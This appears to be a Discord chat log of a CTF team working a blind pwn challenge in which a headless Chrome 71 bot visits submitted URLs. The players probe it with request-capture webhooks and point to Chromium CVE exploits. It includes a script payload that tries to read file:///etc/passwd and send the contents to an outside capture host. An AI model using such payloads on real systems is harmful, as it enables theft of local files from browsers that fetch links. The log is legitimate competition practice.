Project Sekai - ❌-pwn-warmup-v2

Warmup V2 - 1000 points

Category: Pwn Description: Let's Warmup again! hehe Notes: No file given on this time nc 35.189.210.103 18001 Files: No files. Tags: No tags.

Sutx pinned a message to this channel. 07/07/2023 11:00 PM

@nyancat0131 wants to collaborate

@Surg wants to collaborate

ok, when its not dead

00:00

it takes a link and takes a "screenshot"

00:01

youtube not exclusive, im trying a webhook link rn

@Zafirr wants to collaborate

its a little dead rn

yeah

ok i had it make a req https://webhook.site/#!/cf18b281-dae1-4d8e-845c-6fee406c1b8c/64aa62e7-2f3b-41c6-9bc7-9bff214b23f6/1

Webhook.site - Test, process and transform emails and HTTP requests

Instantly generate a free, unique URL and email address to test, inspect, and automate (with a visual workflow editor and scripts) incoming HTTP requests and emails

01:15

im not entirely sure what it wants us to do blind here

yeah idk either

they updated description right

yeah tho we already figured that part out...

oof

it just makes a normal looking GET request from the site

01:41

idk if I (someone) should try and set up some webserver to see if it has more interesting repsonses if there's data to pull

01:41

binaryless pwn sucks

it runs javascript

01:42

im seeing if i can read file://flag.txt

cant even read /etc/passwd (edited)

02:29

i'll try again later

@rubiya wants to collaborate

can we XHR?

what is xhr

GET /x HTTP/1.1
Host: rubiya.kr:31337
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate

making a request haha

chrome is 71

<script>fetch("file:///etc/passwd")
  .then((res) => res.text())
  .then((text) => {
    window.location="https://asdfasdfasdf.free.beeceptor.com/" + text
   })
  .catch((e) => {
    window.location="https://asdfasdfasdf.free.beeceptor.com/" + e
    })</script>

02:58

this is what i tried

chrome 71 huh

02:58

maybe oneday?

maybe

https://bugs.chromium.org/p/chromium/issues/detail?id=905940

https://github.com/ZwCreatePhoton/CVE-2019-5782_CVE-2019-13768

https://bugs.chromium.org/p/chromium/issues/detail?id=906043

03:05

i think 5782 is good enough

03:05

inside the report

03:05

there's code too

not sure works in linux

do we need sbx though